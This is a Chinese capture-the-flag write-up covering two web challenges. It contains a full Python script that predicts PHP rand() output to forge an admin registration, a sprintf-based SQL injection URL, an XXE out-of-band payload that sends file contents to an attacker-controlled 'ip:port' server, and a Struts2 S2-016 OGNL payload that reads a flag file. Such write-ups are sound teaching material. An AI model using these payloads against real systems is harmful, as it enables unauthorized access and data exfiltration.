我的博客
提示:www.tar.gz
根据提示能找到网站备份文件,下载后只有三个文件,从代码上并没有发现什么漏洞,而我们的目标是注册一个标志位是admin
的账号,其本身存在的admin
是个弱密码,但这个账号并没有admin的标志位,所以我们只能自己想办法注册一个。首先看看注册部分关键的代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31<?php
session_start();
include('config.php');
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) {
die("CSRF token error!");
}
$admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
if($code === $admin) {
$identity = "admin";
} else {
$identity = "guest";
}
....
可以看到我们只有让我们post的$code
与$admin
的值相等才能通过验证,而$admin
的值又是经过str_shuffle
随机打乱的32
个字符。而str_shuffle
的源码如下:
可以看到它使用了
rand()
作为随机数产生器,从而打乱字符顺序,而rand()
产生的并不是真的
随机数而是个伪随机数。我们可以通过下面的公式去预测第32
位以后的随机数。1 | PHP_RAND_MAX = 2147483647 |
当我们知道了生成的随机数我们就能预测出str_shuffle
打乱的结果,最终在这道题中注册一个admin权限的账号。下面是payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
PHP_RAND_MAX = 2147483647
url = 'http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php'
sess = requests.session()
# num[n] = (num[n-3] + num[n-31]) mod (PHP_RAND_MAX)
def RAND_RANGE(__n, __min, __max, __tmax):
return (__min) + int(((__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
# 仿照PHP版的shuffle
def shuffle(strs, tokens):
lens = len(strs)
strs = list(strs)
n_left = lens
i = 0
while (n_left > 0):
n_left -= 1
rnd_idx = tokens[i]
i += 1
rnd_idx = RAND_RANGE(rnd_idx, 0 ,n_left, PHP_RAND_MAX)
if (rnd_idx != n_left):
strs[rnd_idx], strs[n_left] = strs[n_left], strs[rnd_idx]
return ''.join(strs)
num = []
for i in range(32):
html = sess.get(url)
context = html.content
soup = BeautifulSoup(context, 'lxml')
csrf = soup.select('#csrf')[0].get('value')
if i == 31:
tmp = (num[i - 3] + num[i - 31]) % PHP_RAND_MAX
if tmp == int(csrf):
print('预测成功!')
else:
print('预测失败!')
exit(1)
num.append(int(csrf))
# 预测后面 62个
tokens = []
for i in range(32,94):
tmp = (num[i - 3] + num[i - 31]) % PHP_RAND_MAX
num.append(int(tmp))
tokens.append(int(tmp))
strs = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
code = shuffle(strs, tokens)[:32]
code = 'admin###' + code
print('预测code: ' + code)
print('预测csrf: ' + str(num[31]))
data = {
# 在访问第33次的时候CSRF应该是上一次的CSRF,也就是第32次,注意这里是从0开始
'csrf':num[31],
'username':'junay',
'password':'123',
'code':code
}
html = sess.post(url, data)
print(html.content)
上面的程序预测的时候有可能存在1/-1的误差,如果出现预测失败重新运行几次即可。
有了账号后,我们就能登录,然后审计登录后的代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16// index.php 截取关键代码
if(isset($_GET['id'])){
$id = addslashes($_GET['id']);
if(isset($_GET['title'])){
$title = addslashes($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
foreach ($pdo->query($sql) as $row) {
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}
}
这个代码中使用了存在漏洞的sprintf
函数,我们可以通过格式化漏洞绕过addslashes
。在格式化的时候sprintf支持填充,我们可以使用%1$'
绕过反斜杠。
所以我们的payload就是:
1 | http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=Welcome%1$' union select 1,f14g,3 from `key` limit 0,1 -- + |
喝杯Java冷静下
首先能在源代码中找到账号密码:
1 | // 解开后 |
使用这个账号密码我们能登录进后台,在后台里我们可以发现一个文件下载
的漏洞。1
2// url
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=informations/readme.txt
按照上次Java web的题目,我们开始找配置文件,比如:web.xml、applicationContext.xml等,但当我们找class
文件时,却没有收获,但是匹配文件中的包名给我思路。
在
GitHub
上搜了一下,果然找到了这个框架。地址:quick4j。然后按照这个项目的路径我们就能找到关键的类,最终能找到的文件差不多如下:
标注的文件是控制文件,也是我们需要关注的文件,其内容如下:
1 | package com.eliteams.quick4j.web.controller; |
所以我们下一步就需要访问nicaicaikan_url_23333_secret
,但是已经有的admin
账号并不是super_admin
,而且也没有注册账号的接口存在。这种情况下只能照着GitHub上的模板去翻其他文件,终于在SecurityRealm.java
中找到了线索:
这里注意到我们需要找到一个字符串的
hashCode()==0
,经过Google后,我们能在Stack Overflow找到一个答案:f5a5a608
。
登录后并没有发现特别的功能,但是代码里已经给了我们非常明显的提示:xxe
攻击,因为它自身并没有回显,所以我们需要找到一个支持xxe
外带数据的方法,解决方案就是:xxe oob
。我们先在自己服务器上放置evil.xml
,内容如下:1
2
3<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port/%file;'>">
%int;
%send;
ps: 上面的port是nc监听的端口,接着构造payload:1
2
3
4
5
6
7
8<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % remote SYSTEM "http://ip:port/evil.xml">
%remote;
%all;
%send;
]>
发送过去:
我们就能在服务器上收到信息:
根据提示我们接着构造payload:
1 | <?xml version="1.0"?> |
结果:
再来:
1 | <?xml version="1.0"?> |
这时候用到了题目的提示:
提示:第二层关卡应用版本号为2.3.1
所以我们找找Struts2 2.3.1
版本的漏洞,此篇文章有较为详细的记载。
经过多次尝试后我们能利用的漏洞版本是S2-016
,接着再去找漏洞脚本,一个能用的payload如下:1
2
3
4
5
6
7<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect:${#a=new java.io.FileInputStream('/flag/flag.txt'),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[60],#c.read(#d),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#matt.println(#d),#matt.flush(),#matt.close()}">
<!ENTITY % dtd SYSTEM "http://ip:port/evil.xml">
%dtd;
%all;]>
<value>&send;</value>
在进行复现的时候经常会出现
IOException
,按照其他的writeup里的payload也是如此,这也有可能是环境问题导致的。
参考链接:
https://impakho.com/post/ddctf-2018-writeup
https://thief.one/2017/06/20/1/
http://www.freebuf.com/articles/web/97833.html
https://github.com/Eliteams/quick4j